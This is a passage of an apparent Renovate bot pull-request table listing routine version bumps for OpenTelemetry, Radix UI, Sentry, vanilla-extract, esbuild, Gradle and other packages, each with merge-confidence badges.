| [@opentelemetry/resources](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-resources) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.29.0` -> `1.30.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fresources/1.29.0/1.30.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fresources/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fresources/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fresources/1.29.0/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fresources/1.29.0/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/sdk-metrics](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/sdk-metrics) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.29.0` -> `1.30.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-metrics/1.29.0/1.30.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-metrics/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsdk-metrics/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsdk-metrics/1.29.0/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-metrics/1.29.0/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/sdk-node](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-sdk-node) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`^0.56.0` -> `^0.57.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-node/0.56.0/0.57.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-node/0.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsdk-node/0.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsdk-node/0.56.0/0.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-node/0.56.0/0.57.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/sdk-trace-node](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-sdk-trace-node) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.29.0` -> `1.30.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-trace-node/1.29.0/1.30.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-trace-node/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsdk-trace-node/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsdk-trace-node/1.29.0/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-trace-node/1.29.0/1.30.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@radix-ui/react-alert-dialog](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.3` -> `1.1.4`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-alert-dialog/1.1.3/1.1.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-alert-dialog/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-alert-dialog/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-alert-dialog/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-alert-dialog/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-context-menu](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`2.2.3` -> `2.2.4`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-context-menu/2.2.3/2.2.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-context-menu/2.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-context-menu/2.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-context-menu/2.2.3/2.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-context-menu/2.2.3/2.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-dialog](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.3` -> `1.1.4`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-dialog/1.1.3/1.1.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-dialog/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-dialog/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-dialog/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-dialog/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-dropdown-menu](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`2.1.3` -> `2.1.4`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-dropdown-menu/2.1.3/2.1.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-dropdown-menu/2.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-dropdown-menu/2.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-dropdown-menu/2.1.3/2.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-dropdown-menu/2.1.3/2.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-hover-card](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.3` -> `1.1.4`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-hover-card/1.1.3/1.1.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-hover-card/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-hover-card/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-hover-card/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-hover-card/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-menubar](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.3` -> `1.1.4`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-menubar/1.1.3/1.1.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-menubar/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-menubar/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-menubar/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-menubar/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-navigation-menu](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.2.2` -> `1.2.3`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-navigation-menu/1.2.2/1.2.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-navigation-menu/1.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-navigation-menu/1.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-navigation-menu/1.2.2/1.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-navigation-menu/1.2.2/1.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-popover](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.3` -> `1.1.4`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-popover/1.1.3/1.1.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-popover/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-popover/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-popover/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-popover/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-select](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`2.1.3` -> `2.1.4`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-select/2.1.3/2.1.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-select/2.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-select/2.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-select/2.1.3/2.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-select/2.1.3/2.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-toast](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.2.3` -> `1.2.4`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-toast/1.2.3/1.2.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-toast/1.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-toast/1.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-toast/1.2.3/1.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-toast/1.2.3/1.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-tooltip](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.5` -> `1.1.6`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-tooltip/1.1.5/1.1.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-tooltip/1.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-tooltip/1.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-tooltip/1.1.5/1.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-tooltip/1.1.5/1.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@sentry/electron](https://redirect.github.com/getsentry/sentry-electron) | [`5.8.0` -> `5.9.0`](https://renovatebot.com/diffs/npm/@sentry%2felectron/5.8.0/5.9.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2felectron/5.9.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2felectron/5.9.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2felectron/5.8.0/5.9.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2felectron/5.8.0/5.9.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.45.0` -> `8.47.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.45.0/8.47.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2freact/8.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2freact/8.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2freact/8.45.0/8.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2freact/8.45.0/8.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.45.0` -> `8.47.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.45.0/8.47.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2freact/8.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2freact/8.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2freact/8.45.0/8.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2freact/8.45.0/8.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@shoelace-style/shoelace](https://redirect.github.com/shoelace-style/shoelace) | [`2.19.0` -> `2.19.1`](https://renovatebot.com/diffs/npm/@shoelace-style%2fshoelace/2.19.0/2.19.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@shoelace-style%2fshoelace/2.19.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@shoelace-style%2fshoelace/2.19.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@shoelace-style%2fshoelace/2.19.0/2.19.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@shoelace-style%2fshoelace/2.19.0/2.19.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| @&#8203;types/dompurify | [`3.0.5` -> `3.2.0`](https://renovatebot.com/diffs/npm/@types%2fdompurify/3.0.5/3.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fdompurify/3.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fdompurify/3.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fdompurify/3.0.5/3.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fdompurify/3.0.5/3.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@types/react](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react)) | [`19.0.1` -> `19.0.2`](https://renovatebot.com/diffs/npm/@types%2freact/19.0.1/19.0.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact/19.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2freact/19.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2freact/19.0.1/19.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact/19.0.1/19.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@vanilla-extract/css](https://redirect.github.com/vanilla-extract-css/vanilla-extract) ([source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/tree/HEAD/packages/css)) | [`1.16.1` -> `1.17.0`](https://renovatebot.com/diffs/npm/@vanilla-extract%2fcss/1.16.1/1.17.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vanilla-extract%2fcss/1.17.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vanilla-extract%2fcss/1.17.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vanilla-extract%2fcss/1.16.1/1.17.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vanilla-extract%2fcss/1.16.1/1.17.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@vanilla-extract/vite-plugin](https://redirect.github.com/vanilla-extract-css/vanilla-extract) ([source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/tree/HEAD/packages/vite-plugin)) | [`4.0.18` -> `4.0.19`](https://renovatebot.com/diffs/npm/@vanilla-extract%2fvite-plugin/4.0.18/4.0.19) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vanilla-extract%2fvite-plugin/4.0.19?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vanilla-extract%2fvite-plugin/4.0.19?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vanilla-extract%2fvite-plugin/4.0.18/4.0.19?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vanilla-extract%2fvite-plugin/4.0.18/4.0.19?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@vanilla-extract/webpack-plugin](https://redirect.github.com/vanilla-extract-css/vanilla-extract) ([source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/tree/HEAD/packages/webpack-plugin)) | [`2.3.15` -> `2.3.16`](https://renovatebot.com/diffs/npm/@vanilla-extract%2fwebpack-plugin/2.3.15/2.3.16) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vanilla-extract%2fwebpack-plugin/2.3.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vanilla-extract%2fwebpack-plugin/2.3.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vanilla-extract%2fwebpack-plugin/2.3.15/2.3.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vanilla-extract%2fwebpack-plugin/2.3.15/2.3.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [anyhow](https://redirect.github.com/dtolnay/anyhow) | `1.0.94` -> `1.0.95` | [![age](https://developer.mend.io/api/mc/badges/age/crate/anyhow/1.0.95?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/anyhow/1.0.95?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/anyhow/1.0.94/1.0.95?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/anyhow/1.0.94/1.0.95?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [chalk](https://redirect.github.com/chalk/chalk) | [`5.3.0` -> `5.4.1`](https://renovatebot.com/diffs/npm/chalk/5.3.0/5.4.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/chalk/5.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/chalk/5.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/chalk/5.3.0/5.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/chalk/5.3.0/5.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [esbuild](https://redirect.github.com/evanw/esbuild) | [`0.24.0` -> `0.24.2`](https://renovatebot.com/diffs/npm/esbuild/0.24.0/0.24.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/esbuild/0.24.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/esbuild/0.24.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/esbuild/0.24.0/0.24.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/esbuild/0.24.0/0.24.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [gradle](https://gradle.org) ([source](https://redirect.github.com/gradle/gradle)) | `8.11.1` -> `8.12` | [![age](https://developer.mend.io/api/mc/badges/age/gradle-version/gradle/8.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/gradle-version/gradle/8.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/gradle-version/gradle/8.11.1/8.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/gradle-version/gradle/8.11.1/8.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) |  | minor |
| [html-validate](https://html-validate.org) ([source](https://gitlab.com/html-validate/html-validate)) | [`8.27.0` -> `8.29.0`](https://renovatebot.com/diffs/npm/html-validate/8.27.0/8.29.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/html-validate/8.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/html-validate/8.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/html-validate/8.27.0/8.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/html-validate/8.27.0/8.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [i18next](https://www.i18next.com) ([source](https://redirect.github.com/i18next/i18next)) | [`24.1.0` -> `24.2.0`](https://renovatebot.com/diffs/npm/i18next/24.1.0/24.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/i18next/24.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/i18next/24.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/i18next/24.1.0/24.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/i18next/24.1.0/24.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [ioredis](https://redirect.github.com/luin/ioredis) | [`5.4.1` -> `5.4.2`](https://renovatebot.com/diffs/npm/ioredis/5.4.1/5.4.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/ioredis/5.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/ioredis/5.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/ioredis/5.4.1/5.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/ioredis/5.4.1/5.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [jotai](https://redirect.github.com/pmndrs/jotai) | [`2.10.3` -> `2.10.4`](https://renovatebot.com/diffs/npm/jotai/2.10.3/2.10.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/jotai/2.10.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/jotai/2.10.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/jotai/2.10.3/2.10.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/jotai/2.10.3/2.10.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [jotai-effect](https://redirect.github.com/jotaijs/jotai-effect) | [`1.0.5` -> `1.0.7`](https://renovatebot.com/diffs/npm/jotai-effect/1.0.5/1.0.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/jotai-effect/1.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/jotai-effect/1.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/jotai-effect/1.0.5/1.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/jotai-effect/1.0.5/1.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [katex](https://katex.org) ([source](https://redirect.github.com/KaTeX/KaTeX)) | [`0.16.15` -> `0.16.18`](https://renovatebot.com/diffs/npm/katex/0.16.15/0.16.18) | [![age](https://developer.mend.io/api/mc/badges/age/npm/katex/0.16.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/katex/0.16.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/katex/0.16.15/0.16.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/katex/0.16.15/0.16.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
